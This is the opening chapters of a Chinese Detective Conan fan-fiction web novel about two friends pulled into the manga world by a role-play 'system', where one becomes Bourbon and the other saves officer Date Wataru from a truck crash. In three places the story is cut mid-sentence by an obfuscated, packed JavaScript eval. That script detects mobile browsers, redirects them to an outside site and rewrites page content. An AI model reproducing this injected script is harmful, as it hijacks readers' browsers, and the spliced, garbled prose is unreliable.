《为烫男人献上狗血剧本》 1. 烫男人是金发黑皮(一) “从今以后,‘辛格莫特威士忌’,就是你的代号了。” “哈?” “努力为组织效劳吧,不要辜负琴酒对你的信任。” “你……” “试着让我为你着迷吧!哈哈哈哈!!!” “……喂串频了,这是另一本漫画反派的台词吧?而且你的上下文没有任何关联啊!” “哇哈哈哈哈哈!!!” “你不要只顾着自己演得开心,倒是听我说话啊!” 人潮喧闹的漫展展厅,身材高挑的金发黑皮青年,正对准手机镜头发出反派的笑声。 他穿着黑色的西装三件套,外套搭在臂弯,上半身的西装马甲恰到好处地勾勒出他劲瘦的腰身,白色衬衫的袖口卷起至手肘处,露出深棕色的小臂,领口处扣着的蓝色波洛领结为他本就不凡的气质增添了几分复古的味道。 经典的装扮和配色,令人一眼就能认出他的身份。 只是他此刻的行为与他的气质大不相符。 伴随青年夸张的笑声,他的身体跟着颇有节奏感地抖个不停,头顶一根金色的呆毛也跟着一颤一颤的。 牧山晓无语地按下停止录像的按键,收起手机后,忍无可忍地抬手将那根金色呆毛用力压了回去。 “先不说波本根本不会发出这种反派笑声,辛格莫特威士忌又是怎么回事?下次拍段子之前好歹跟我说一下剧本,不然我怎么配合啊?”牧山晓一边抱怨着,一边随手整理着金发青年胸前歪掉的波洛领结。 金发青年停止夸张的表演,乖巧地任由牧山晓在自己身上摸来摸去,语气激动地解释:“‘辛格莫特威士忌’是我给你想的oc设定!你是琴酒招进来的组织新人,通过代号考核后被分配过来跟波本搭档。继苏格兰和莱伊之后,你是波本身边的又一瓶威士忌!猜猜看你的真实身份是什么?!” 呆毛又翘起来了。 牧山晓正在苦恼那撮不听话的金色假毛该怎么处理,随口道:“卧底?” “没错!根据威士忌不是卧底就是叛徒的定律,你荣幸地成为了前者!想知道你是来自什么势力的卧底吗?!” 牧山晓忙着在随身背包中翻找发胶,没工夫搭理他,只是敷衍地应了句:“什么势力?” “其实你是来自异能特务科的卧底,为了调查乌丸莲耶长生不死的秘密所以潜入了黑衣组织。但这只是表面情报,谁也不知道,你的真实身份是咒术界高层派去异能特务科的卧底!所以你其实是双重间谍!” 金发青年越说越激动,头顶的呆毛越发挺立,连发胶都压不住。 牧山晓努力半天安抚无果,干脆自暴自弃,顺便吐槽:“你脑洞能力这么优秀,你不该在这儿当coser拍段子,你应该去写综漫同人文。” 金发青年沾沾自喜:“嘿嘿嘿,我也觉得我特别优秀。” 自嗨完毕,他转而又抱怨起来:“要不是你不愿意跟我一起出cos,我用得着在这儿绞尽脑汁帮你想oc设定吗……我出波本,你出苏格兰多好,莱伊也行啊,实在不行琴酒也可以啊!” “……你开心就好。”牧山晓不想出cos,化妆做造型麻烦得要死,亲友这一个人就够他忙活的了,“我去买饮料,你要喝什么?” “我跟你一起去。”金发青年想也不想就说,“我不想跟你分开。” “……你是不想跟你的手机分开吧。” 毕竟两个人的随身物品几乎全在牧山晓身上的背包里。 金发青年笑呵呵地承认:“嘿嘿,没有手机会很没有安全感嘛。” 牧山晓正要答应,余光注意到不远处有个穿着lo裙的女孩正蠢蠢欲动地关注着这里,想了想说:“我还是自己去吧,那边好像有人想找你集邮。包包给你留在这儿,你看着点。” 闻言,金发青年的目光朝牧山晓示意的方向看去。 “给你带橘子汁行吗?”牧山晓问。 “行哦。”青年乖巧应道。 牧山晓从背包里掏出几枚硬币揣进兜里,然后把背包放在金发青年身边的地上,转身朝展厅门口外面的自动贩卖机走去。 他们今天参加的这场漫展是一年一度的大规模漫展,原本空旷无比的展厅此时此刻却挤满了人。牧山晓好不容易挤到出口处,刚准备一脚踏出去,却被身后突然出现的力道推了一把,脚下一个踉跄差点摔倒。 等他险险稳住身形,再抬起头时,顿时傻眼了。 只见周围拥挤的人潮瞬间清空,穹顶高悬的宽阔展厅原地消失,变成了空无一人的街道。 牧山晓孤零零地站在路口,脚下是黑白交错的斑马线,红绿灯在马路对面安静的闪烁着。 他呆呆地愣在原地。 这是哪儿? 什么情况? 他怎么会突然出现在这里? 【亲爱的演绎者001号您好,恭喜绑定‘演绎系统’。时空传送已完成,接下来将为您发放主线任务。】 什么玩意? 听着脑海中突然出现的机械音,牧山晓后知后觉地产生一种不好的预感。 这该不会是传说中的……那个吧? 【如您所想,您穿越了。这里是漫画世界,您需要在原著角色面前,通过角色扮演的形式对系统提供的剧本进行演绎,从而获取演绎值。当演绎值满值后,系统可以消耗演绎值为您实现一个愿望。请注意,原著角色的印象越深刻,演绎值就越高。】 牧山晓尝试与这个一出现就自说自话的系统沟通:【可以拒绝吗?我不想穿越,也不想做什么任务。送我回去!】 【系统建议您在完成任务后,消耗演绎值兑换回家的愿望哦。】 【……意思是你打算强买强卖了?】 系统竟然装作没听到: 【稍后将发放剧本关键词,请您注意查看。另外,您还有一位演绎者搭档,对方的传送正在进行,请您稍后。】 像是赶时间似的,系统急匆匆说完这句就突然消失不见了,任凭牧山晓怎么喊都没有回应。 就算再怎么不情愿,事已至此,牧山晓也不得不接受现实。 他抬头打量起周围的环境。 这里似乎还是早晨。空气中的风味道是清晨独有的清新干净,东方的天空中,晨光缓缓漫过天际线。街道两边的店铺大多数还没开门,街上也不见行人,到处都是一片宁静。 风有点冷,牧山晓下意识裹了下身上的衣服。 ……等下,不太对劲。 牧山晓低头一看,这才发现自己身上的衣服变得有些奇怪。款式和细节都没变,就连袖口都还残存着发胶的味道,证明这就是属于他的衣服,只是原本合身的连帽卫衣和牛仔裤,现在却莫名变大了许多。 牧山晓盯着自己从卫衣袖子里伸出的手指观察了一会儿,越看越觉得奇怪,于是转身走到一家商铺的玻璃窗前,仔细观察玻璃中的倒影。 玻璃窗中的男孩看起来不过刚刚成年,个子不算高,身材偏瘦,清秀的五官还残留着些许稚嫩。他顶着一头乱糟糟的棕色短发,微长的碎发凌乱地散落在额头前。当他微微低头时,有几缕发丝恰巧遮住眼睛,只露出有些凹陷的脸颊,显得他整个人带着股无法形容的阴郁气息。 发色和瞳色都和他原本的身体一模一样,就连长相都变化不大,但气质却与他自身完全不同。 同样是圆润的眼型,同样有着少见的浅棕色瞳孔,他原本的脸看起来更显乖巧,而这张脸,怎么看都像是不良少年。 并且,这具身体与他原本的身体相比,像是缩水了一样……又或者说,有点像是他本人的身体时光倒退,莫名其妙小了几岁。 牧山晓的手指上移,落在眉尾一道并不显眼的疤痕上,心情有些复杂。 那不是属于他的疤痕。 他到底用了谁的身体,这个与他长相如此相似的少年有着怎么样的过去? 而他本人,即将在这个世界扮演怎样的角色? 一切都是未知。 他讨厌这种未知。 也不知道在另一个世界的亲友如果发现他失踪了,会不会急得要死。 深吸一口气,牧山晓勉强调整好心情。 不管怎么样,既然事实已经如此,他也只能按照系统说的做了。希望系统口中的“演绎者搭档”是个靠谱的人。 恰巧此时,系统再次出现: 【演绎者002号传送已完成,私人联络频道已建立。】 【为了帮助演绎者更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520645|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的完成任务,系统根据世界背景和大数据自动生成剧本关键词,经系统运算,该剧本为成功率最高的剧本之一。】 【请注意,剧本关键词如下:黑透小黑屋强制爱《黑透的禁锢:无法逃脱的爱》。请您以剧本关键词为基础进行自由发挥。祝您任务顺利,早日……】 等会儿,黑透什么? 有什么奇怪的信息在脑海中一闪而过,但此刻牧山晓顾不上理会。 系统一口气接连发布好几条通告,中间没有给牧山晓任何提出疑问的机会。眼看系统匆忙通告完毕像是要说结束语,牧山晓强行插话打断:【等等!我现在的身体是什么情况?还有我该怎么联系另一个演绎者?!】 系统蓦地卡住,像信号不好似的,隔了十几秒才回复牧山晓的问题:【您使用的身体是系统根据剧本关键词自动生成的初始角色马甲,角色人设需由您自行补充。】 【您与另一位演绎者的私人联络频道已建立,您可以随时在脑内频道中与另一位演绎者沟通。】 【你现在就要离开?有没有什么新手帮助或者福利之类的东西给我?】牧山晓顿了下,意有所指地说,【我看别的穿越系统都有,你不会没有吧?】 这次,系统停顿的时间更久一些。 过了好一会儿,就在牧山晓以为系统已经离开的时候,机械音再次响起: 【新手福利已发放——您的新手福利为‘人设滤镜’,它将根据您的人设需要为您的角色增添特殊滤镜。】 【……】牧山晓只是随口试探,没想到还真给自己要来了福利,也算是个意外惊喜。 虽然他根本没听懂这个滤镜到底有什么作用。 就在他想进一步询问时,系统急匆匆丢下一句【祝您任务顺利,稍后再见!】就再次消失。 这个系统……怎么看都觉得不太靠谱。 牧山晓再次打量玻璃中的自己,与刚刚相比,似乎没发现有什么不同。 也不知道这个什么滤镜,到底有没有起效。 再怎么观察也看不出什么名堂,牧山晓只能暂时放下疑问,想试试系统说的“私人联络频道”是什么东西。 没想到他刚刚冒出这个念头,突然,脑海中浮现出一个类似聊天软件的屏幕,屏幕中跳出一连串的信息: 【002:喂喂喂?哈喽哈喽?摩西摩西?】 【002:有——人——在——吗——】 【002:你——好——啊!!!】 牧山晓:…… 这人好吵。 怎么感觉好像比系统还不靠谱。 牧山晓尝试回应: 【001:你好。】 【002:嚯!好神奇啊!这种交流方式还是第一次见!】 【002:兄弟你等一下啊,我改个昵称,这个编号看着不太顺眼。】 【狗哥特调波本(八块腹肌性感版):你叫我狗哥吧,‘002’什么的听着太别扭了……我该怎么称呼你?】 【001:……???】 【狗哥特调波本(八块腹肌性感版):?怎么了?】 【001:……………………】 【狗哥特调波本(八块腹肌性感版):?你什么意思啊?!】 【狗哥特调波本(八块腹肌性感版):质疑我?】 【狗哥特调波本(八块腹肌性感版):我真的有八块腹肌!】 一连几条,看得牧山晓额角抽搐。 惊讶过后紧接着就是无语,再然后是无力。 他一时不知道该先震惊对面这个昵称的眼熟程度,还是吐槽这个风s的括号说明。最后,他觉得自己还是最该先担心一下自己难以预测的未来。 【001:我一定是上辈子欠你钱。】 【狗哥特调波本(八块腹肌性感版):?】 【001:才会这么倒霉连穿越都跟你绑定在一起。】 【狗哥特调波本(八块腹肌性感版):……等等,你这语气,卧槽怎么这么熟悉!】 【牧山:傻狗,过来接我。】 【狗哥特调波本(八块腹肌性感版):???!!!】 【狗哥特调波本(八块腹肌性感版):晓宝?!!】 2. 烫男人是金发黑皮(二) 晨光笼罩着安静的街道。 随着日光从地平线升起,街道上渐渐响起嘈杂的人声。 路上有零零散散的行人和车辆路过,街道两旁陆续有商铺开门营业。 穿着不符合身形衣服的少年低垂着头站在路边,一动不动地盯着脚下的斑马线,沉默安静的样子引得路过的行人频频侧目。 没人知道,此时的他脑子里吵得快要炸了。 【狗哥特调波本(八块腹肌性感版):啊啊啊啊啊啊啊啊啊啊!!!!】 【狗哥特调波本(八块腹肌性感版):啊啊啊啊啊晓宝呜呜呜呜呜呜!(发疯打滚嚎叫.jpg)】 【狗哥特调波本(八块腹肌性感版):怎么是你啊!竟然是你呜呜呜呜还好是你!晓宝你不知道我刚来的时候有多担心,我还怕你以为我失踪到处找我难过得不能自已……】 牧山晓多次尝试屏蔽这个脑内频道,无果,只能出声制止: 【牧山:闭嘴啊别刷屏了!还有把你那个乱七八糟的昵称给改了,吵到我的眼睛了!】 频道里安静几秒过后。 【狗狗版波本:呜呜,对不起我滴宝。】 【牧山:……】 什么狗名字。 辱波本了! 粉丝会骂人的吧?! 牧山晓深吸一口气,努力压下被这人熟悉的欠揍风格勾起的暴躁情绪,尝试耐心地跟对方沟通: 【牧山:改名,立刻马上!我数三——二——】 【傻狗波波:改了改了!你不是在威胁我,你是在挑战我的手速!】 【傻狗波波:我坚持在昵称里加进去波本是有原因的!你猜怎么,我穿成波本啦哈哈哈哈!就是我漫展上cos的那个造型,跟那个一模一样,不过假毛和妆都变成真的了。也就是说,我现在顶着波本的脸!】 即便听不到声音,牧山晓也能真切地感受到对方激动的语气。 自从发现另一个演绎者是自家亲友后,牧山晓的头就一直在疼。 怎么说呢,亲友昵称“傻狗”是有原因的。别说指望他帮忙分析任务了,牧山晓现在只期望他能别帮倒忙。 【牧山:先别美了,你现在在哪儿?】 【傻狗波波:琴酒的安全屋。】 【牧山:?】 【牧山:哪儿???】 【傻狗波波:琴酒的安全屋哒!他正给我们开会呢,好像明天要出个什么任务。】 【牧山:不是……他真把你当成波本了?等等,这里是名柯世界?不对,你要去跟琴酒出任务?!】 【傻狗波波:是哦,琴爷人好好哦!我说我没枪,他就让伏特加去给我拿枪了!】 【傻狗波波:是真枪哎!】 牧山晓倒吸一口凉气。 不是,这对吗?! 牧山晓忽然警觉: 【牧山:你该不会当着琴酒的面喊他‘琴爷’了吧?】 【傻狗波波:那当然不会,我是那么蠢的人吗?!】 不等牧山晓松口气,就看到对方说: 【傻狗波波:我喊的是‘琴酒威猛大帅哥’!】 【牧山:……???!!!你有病吧?!】 【傻狗波波:哈哈哈哈骗你的!虽然看到琴爷很激动,真的差点就喊出来了,但当时琴酒冲我冷笑,喊我八崩,我差点没崩住……】 【牧山:……】 几句对话的时间,牧山晓的心情上下起伏,像是在坐过山车。 他实在不想继续忍受这种刺激,干脆说道:【既然你现在变成了波本,那行动应该会方便很多。等你那边结束了就来接我吧,我们找个安全的地方再谈接下来的事。】 牧山晓现在身份不明,浑身上下除了之前揣进兜里的几枚硬币以外什么都没有。没有亲友帮忙的话,还真有点麻烦。 【傻狗波波:好,那你等我一会儿哦!对了你在哪儿啊,现在还安全吗?】 【牧山:还算安全。我先去打听一下地址,一会儿告诉你。】 【傻狗波波:好哦!一会儿我开波本的马自达去接你!】 通讯结束,牧山晓心念一动,收起脑内屏幕。 尽管心神沉浸在脑内频道中,但他的精神并没有完全放松,眼角余光一直能感受到路人若有似无的打量。 牧山晓不知道自己身上什么地方引起了他们的注意,只能不动声色地抬头张望寻找路牌。 就在他犹豫着要不要找一个路人问问地址的时候,身后突然传来一道低沉的男声:“小子,你站在这里做什么?” 牧山晓一愣,立即回头。 只见一个人高马大的寸头男人正站在他身后,低头看着他时,粗犷的眉毛皱起,像是很不耐烦的样子。 牧山晓以为是自己站在红绿灯路口,不小心挡住了对方的路,连忙向侧方挪了几步。 男人却没有立即离开,而是盯着他的脸,视线跟随他的移动而移动。 什么意思,是想找事吗? 牧山晓有些奇怪。联想到之前路人的怪异目光,他忽然想到之前系统提过的什么“滤镜”,难不成是那玩意起了作用? 看着男人越皱越紧的眉毛,牧山晓心中一紧,同样一动不动地盯着男人,在心里暗骂。 系统给的究竟是什么破滤镜啊也不说清楚,该不会是什么‘遇到脾气暴躁的人就百分百被打’之类的离谱滤镜吧?! 或许是迟迟没有等到回答,男人不耐烦地再次开口:“你为什么一个人在这里?你……你的家人呢?” 什么?!威胁自己不够还要威胁他的家人?! “……不知道。”牧山晓一脸警惕,“你想干什么?” “我……”男人脸色不太好看,正想说些什么,可能是注意到男孩脸上显而易见的警惕,他忽地止住了话头。 顿了一会儿,他回头喊了一声:“高木,你还没好吗?!” “好了好了,前辈我这就来!” 随着这道声音,,一个年轻男人从拐角处急匆匆地跑了过来,手中还拿着两罐热咖啡。 “伊达前辈,您要的咖啡……咦?”年轻男人发现牧山晓,愣了一下,下意识把手中另一罐咖啡递了过去,“你……你要喝吗?” 牧山晓:“?” “那个……”见男孩不接,并且表情奇怪地看着自己,高木涉后知后觉地察觉到自己的唐突,无措地摸了下后脑勺说,“抱歉,只是看你好像……有点冷?这个是热的,想着你或许需要……” 牧山晓之前没注意到,经年轻男人这么一提醒,这才发现自己手脚有些发凉。 不知道现在是什么季节,清晨的风带着丝丝浸人的寒意,不停地往过于宽松的衣领和袖口中钻。 牧山晓没有在玻璃反光中看到的是,此时的自己脸色泛白,本就削瘦的身形在宽大衣服的笼罩下衬得越发单薄,冷风一吹,垂落在脸颊处的发丝微微抖动,让人恍惚以为他整个人正因寒意而在瑟瑟发抖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520646|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高木涉说不清自己在看到男孩的一瞬间想到了什么,他只知道自己没来由的第一反应,是想问对方需不需要帮助。 “不用了,谢谢。”少年语气冷淡地说。 啊,不出意外地被拒绝了呢。 高木涉讪讪地收回递过去的手,将罐装咖啡放在掌心里搓来搓去。 他忽然想到什么,抬起头,与站在身侧的伊达前辈对上视线,有些意外地在对方眼中看到与自己类似的情绪。 数秒过后,两人在无声中完成了眼神交流。 相比较来说,显然是高木涉这个更年轻、阅历稍浅的后辈身上的气质看起来更温和,也更容易取得陌生人的信任。 “咳咳,男孩,其实我们是警察。”高木涉从口袋里拿出警官证,翻开举到男孩面前,确认他看清楚了才收回来,“我们只是想确认一下你的身份,以及你出现在这里的原因。” 少年沉默着没说话。 高木涉有些为难地看了一眼伊达航,得到对方的眼神鼓励后,再次开口:“我们没有别的意思,只是想问你有没有什么……” 他话没说完,被像是刚刚回过神的少年打断:“你们是在找犯罪嫌疑人吗?附近发生了什么案子?” “啊?不……”高木涉连连摇头,摇到一半却蓦地停住。感受到伊达前辈落在自己身上催促的目光,高木涉艰难改口,“额,是的,我们在找嫌疑人……和目击证人,所以能告诉我们你为什么会出现在这里吗?” 牧山晓:……不是他不想说,而是现在他也不确定自己叫什么。 系统只给了一个剧本关键词,其他信息什么都没有,还说什么自行补充人设……既然是马甲扮演,总不能叫真名吧? 牧山晓含糊地应道:“我没看到什么可疑的人,也绝不是你们要找的嫌疑人。不过可以打听一下你们在查的是什么案子吗?” 他一边说着,一边不着痕迹地打量着眼前的两个男人。 刚才年轻男人特意展示给他看的警官证,他看得一清二楚。不提那张比起真人更显青涩呆板的照片,照片之下的人名,才是让他愣了好大一会儿的原因。 之前亲友在脑内频道中说他穿成波本,并且人在琴酒安全屋的时候,他就猜到他们应该是穿越到了《名柯》的世界。只是他没想到,眼前这个看着老实腼腆的年轻男人,竟然是《名柯》中的重要配角高木涉! 既然如此,根据外貌特征的话,那他身边的这个眉毛粗犷的男人,该不会是班长伊达航? 没想到刚落地没多久就碰到了重要配角,其中一位还是高人气的警校组中的一员。 是这两个人的话,那就不用担心了。 牧山晓心中微微放松了一些。为了确认自己的猜测,同时也出于好奇心,他打听起案件的内容。 然而,他的话音刚落,突然一阵低沉的引擎轰鸣声由远及近,速度极快地接近。紧接着,一道不知来自何方的尖叫声响起。 身前的两个男人瞪大双眼,神色惊恐地望向自己的身后。 突如其来的直觉在疯狂预警,危险即将降临的危机感刺激着他的神经。 听着近在咫尺的引擎声,感受到身后涌来的呼啸的风,电光火石之间,牧山晓终于意识到什么,然而身体却僵在原地,完全不听使唤。 大脑在疯狂叫嚣着、下达着命令。而牧山晓的身体,只来得及回过头。 一辆失控的货车正直直地朝他冲过来。 “砰——” 3. 烫男人是金发黑皮(三) 刺痛的耳鸣声充斥了所有感官。 急促的刹车声、惊恐的尖叫声、都随着一阵惊天动地的撞击的巨响消失殆尽,只余下悠长的嗡鸣。 嗡鸣声渐消,四肢才传来迟钝的酸痛感。 牧山晓茫然地趴在地上,举目望去,最先映入眼帘的是一地的狼藉。 咖啡罐因为撞击而扭曲变形,褐色的液体洒了一地。 更远一些的地方,一辆货车正以诡异的姿态卡在街边商铺的墙中,金属零件和窗户的玻璃碎片散落一地,车身歪斜,车头被撞得看不出原形。 身体因轻微撞击带来的疼痛感正在缓慢地褪去。 牧山晓后怕地深吸了一口气。 刚刚要不是伊达航眼疾手快推了他一把,现在卡在那辆货车车头前的可能不是碎石和玻璃,而是他本人了。 他视线快速搜寻,很快找到了不远处倒在地上的伊达航和高木涉。 高木涉几乎是整个人趴在伊达航身上,从背部的姿势看去,像是正死死地抱住后者的肩膀。而伊达航的胳膊则搭在年轻后辈的背部,轻轻拍了几下,安抚着这位身体正不住颤抖的后辈。 牧山晓远远地看到两人低声说了几句什么,随后高木涉动作迅速地从地上爬起来,满脸焦急地朝货车驾驶位的方向飞奔过去。 伊达航慢他一步起身,没有急着走,而是朝牧山晓的方向看过来。 牧山晓连忙冲他摆了摆手,喊了一句:“我没事!没有受伤!” 伊达航迈过来的脚步一顿,片刻后声音沉稳地嘱咐道:“你坐在地上不要乱动,救护车很快就到,等医生过来给你检查。” “我知道了!” 得到牧山晓的回应,伊达航干脆转身,追着高木涉的背影跑去。 这两位优秀的警官反应迅速,行动利落干脆,只有一直关注着他们的牧山晓注意到,伊达航起身时的动作有一瞬间微不可查的停顿。 不过好在,两个人看起来都没什么大事。 牧山晓总算是松了口气。 有反应快的路人在报警,也有人在叫救护车。 货车驾驶位的车门被挤得变形严重,很难打开。高木涉大声呼喊,始终叫不醒正趴伏在方向盘上的货车司机。 “有没有力气大的人,快来帮忙!” 两个身强体壮的男性路人,犹豫着走上前去。 四个大男人合力生拉硬拽,艰难地将车门拽开一条缝,可没有人敢轻易触碰驾驶坐上的司机。 好在救护车来得很快。紧跟着不久,警笛声也越来越近。 救护工作进展十分顺利,警察和医生配合,所有人都有条不紊地忙碌着。 牧山晓安静地站在不远处,沉默地看着眼前的场景。他右手手指不自觉地收紧,手心里微凉硬挺的皮革触感仿佛在提醒他什么。 那是一个记事本,他刚刚从附近的地面上捡起来的。为了确认记事本的主人,他贸然翻开了扉页。 上面的“伊达航”三个字令他一阵恍惚。 他隐约猜到了这场车祸的由来。 伊达航,漫画《名柯》中的人气组合“警校组”中的一员。他在原漫画中的出场戏份不多,却因为与超高人气角色——也被广大同人爱好者戏称为烫男人的降谷零同为“警校组”,并且有一个令读者意难平的be结局,而给人留下深刻印象。 漫画中,伊达航在某次通宵执勤的早上,路过某个街口的时候,因为精神过度疲倦,没能及时躲过因司机疲劳驾驶而失控的货车,以至意外身亡。他死亡时掉落的随身记事本,由当时与他在一起的后辈高木涉已某种“精神继承”类的象征意义带在身上。 他去世后,与之相恋即将成婚的女友因接受不了爱人去世的打击而自杀。 他也是重要角色降谷零最后一位活在世上的同期好友。他去世后,五片樱花只剩一瓣,胸怀大义意气风发的警校组五人,只留降谷零一个人在黑暗与光明的交界处负重前行。 牧山晓怀疑自己意外蝴蝶掉了伊达航的死亡剧情……这难道就是传说中的“踢便当”吗? 感觉有点奇妙。 如果他猜的没错,今天真的是伊达航死亡的剧情点的话,那也就意味着,伊达航的另几位同期、也就是警校组除降谷零和伊达航以外三个人,都已经牺牲了。 这个猜想,牧山晓暂时无从验证。 伴随着救护车鸣笛声的远去,车祸现场的混乱似乎暂时告一段落。高木涉身为后辈主动揽下了与同事们交接的工作,而伊达航一时闲着没事,脚步一转,朝安静地等在路边的少年走去。 “你还好吧,受伤了吗?”伊达航主动关心道。刚才情况紧急,他知道自己用了多大的力气推人。男孩看起来身体不太好的样子,希望没有受伤。 少年摇了摇头,没有说话,沉默得有些异常。 伊达航的视线在男孩身上上下巡视了一圈,见对方除了看起来狼狈了些,的确没什么事的样子,这才松了口气。 他只以为男孩是被刚才的事吓到了,正想说些安慰的话,却没想到对方开口就是一句:“您的腿受伤了吧?为什么不告诉医生呢?” 伊达航顿时愣住,左侧那条没有施加任何重力的腿不自然地颤了一下。 沉默片刻后,他笑了笑:“因为不是什么值得在意的伤口,只是一点轻微的擦伤,稍后我回警视厅简单处理一下就可以了。” “是吗……”少年声音很低,近似呢喃,他垂头盯着男人的左腿看了许久,最终还是没有深究。 怕少年多想,为了转移他的注意力,伊达航故意用轻松地语气谈论起刚刚那场车祸:“刚刚的情况太危险了,还好我反应够快,看来即使年纪越来越大,我的反应速度也还是不减当年啊!不过可真是跟现在的年轻人比不了,高木的反应比我还要快一些,身体素质也好一些……” 伊达航说着说着,视线不自觉地落在不远处忙着跑前跑后的高木涉身上,语气变得感慨。 “……后生可畏啊。” 刚刚经历过那样一场生死危机,明明当时被吓得浑身发抖,可眨眼间就能恢复干劲满满的状态。 不像自己,只是被人扑倒而已,竟然就不小心扭伤了脚……说出去有点丢人,所以还是不要被小朋友知道的好。 伊达航心里清楚,刚刚那辆车是冲着三个人的方向来的。与背对着货车的牧山晓不同,他和高木涉清清楚楚地看到货车突然从街角转弯,以惊人的速度毫无停顿地直直冲了过来。当时情况突然,他第一反应就是去推正对面离自己最近的人,等做完这个动作后,他已经来不及顾及其他。 有那么一瞬间,他心中闪过一丝愧疚。如果他和高木涉都出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520647|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了事,这位一向崇拜自己的后辈,会不会在心中怨恨自己没有第一时间救他? 不过这个念头只是一闪而过,尚未在他心中留痕,就被紧接着发生的事给打散了。 就像伊达航的第一反应是去救陌生的少年一样,高木涉的第一反应,是去救他。 他被高木涉扑倒在地,两人一起惊险地躲开了失控的货车——虽然年轻后辈压在身上的重量也不是一般人能承受的,但至少比货车来得轻松。 至少,他们都还活着。 “这个,是警官您的东西吧?还给您。” 少年微哑的声音打断了伊达航的思绪。他低头一看,发现少年手里拿着眼熟的记事本。 “啊……”伊达航下意识摸自己的口袋,发现里面空空如也,于是连忙从少年手中接过记事本,翻开一看果然是自己的那个,“是我的,可能是刚才不小心掉出来了,谢谢。” “是我该谢谢您。”少年的头微微扬起,一脸认真地盯着男人的眼睛,嗓音或许因为惊吓有些低哑,语气透露出的郑重却不容忽视,“是您在危机关头救了我,所以,是我该感谢您。” 感受到少年的诚恳,伊达航先是一愣,随后朗声大笑,用力拍了拍少年的肩:“哈哈哈哈,不用谢,这些都是身为警察的我应该做的!换做任何一名警察,也一定会做出跟我一样的选择。” 想来,高木涉那小子也是一样的。 “您是位非常优秀的警官。”少年微微一笑,“看来,您的同事都和您一样,是为了公民利益舍生忘死的优秀警察!” 伊达航笑声一顿。 “我是说那位警官。”少年微笑着补充道,视线投向一旁终于结束工作,正被同事生拉硬拽地带去给医生检查的高木涉。 “……” 伊达航沉默片刻,忽地轻笑一声。 “对啊,他们都是,非常优秀的警察。” …… 【傻狗波波:呼叫辛格莫特,呼叫辛格莫特!】 【牧山:……】 【牧山:?】 【傻狗波波:波本任务已完成,你那边情况怎么样?地址发我,我马上过来支援!】 【牧山:[警视厅地址]】 【傻狗波波:???你怎么在警局?当街裸奔被抓了?!】 【牧山:……滚呐!你才裸奔!】 【傻狗波波:不是你刚说的,你马甲还是一片空白嘛。】 【牧山:我说的是人设空白,不是衣服空白啊!清清你脑子里的水吧!】 【傻狗波波:所以到底怎么回事?】 【牧山:……说来复杂,但简而言之,就是我差点出车祸,被警察救了,然后被拉过来做笔录。】 【傻狗波波:?!!!】 【傻狗波波:晓宝!!!我差点失去你!!!!】 【牧山:别嚎了,我现在没事。】 【牧山:对了,伊达航也在,你来的时候稍微乔装一下,别暴露身份。】 【牧山:你也不想被你昔日的警校同期,发现你不为人知的秘密吧。(那种语气)】 【傻狗波波:如果你以为我是那种人,那你就想错了!】 【傻狗波波:因为我不是来破坏你们的,我是来加入你们的!(已读乱回)(但接梗)】 【牧山:?】 4. 烫男人是金发黑皮(四) 警视厅大厅中,牧山晓安静地坐在休息区的座椅上,心情有些忐忑地等待着亲友的到来。 坏消息,做笔录需要先登记身份、住址和联系电话,而他什么都没有。 好消息,亲友临时为他提供了一个假身份,所有细节都足够详细。 坏消息,不知道亲友提供的身份靠不靠谱。 牧山晓生怕给他做笔录的警官分分钟冲出来质问他的身份为什么系统里查不出来。 好消息,那位做笔录的警官一直没有来找他的麻烦。 但是他等来了伊达航。 “笔录做完了?”应该是刚刚忙完交接的工作,此时的伊达航姿态放松,神情满是疲惫,一看就是一副熬了许久终于下班的社畜模样。 就是不知道他为什么不直接回家睡觉,而是跑过来找牧山晓闲聊。 “嗯,已经做完了。”牧山晓乖巧点头。 “你家在哪儿,我让同事开车送你回去吧。”伊达航指了指眼底的黑眼圈,苦笑着说,“本来是打算亲自送你的,但以我现在的状态,好像涉嫌疲劳驾驶……还是要安全为上,对吧?” 不久前牧山晓做笔录的时候,已经从警察那里得知,之前那个货车司机就是因为疲劳驾驶才导致了那场车祸。 “不用,我自己回去就好。”牧山晓果断拒绝,见伊达航似乎还想说什么,他顺势转移话题,“那个司机现在怎么样了?” “他伤得不轻,现在人还在icu,暂时不知道能不能脱离危险。”伊达航只好咽下想说的话,语气严肃起来,“如果你想要追责,之后是可以起诉对方的。” 虽然那场车祸没有对牧山晓造成身体上的伤害,但他仍是无辜的受害者,起诉追责是他的权利,伊达航只是把这个事实告诉他。 没想到少年没怎么犹豫就说:“我个人不打算追究,不过您和高木警官也是受害者,如果你们想要追责的话,我可以作为证人出庭。” 伊达航一时有些语塞。 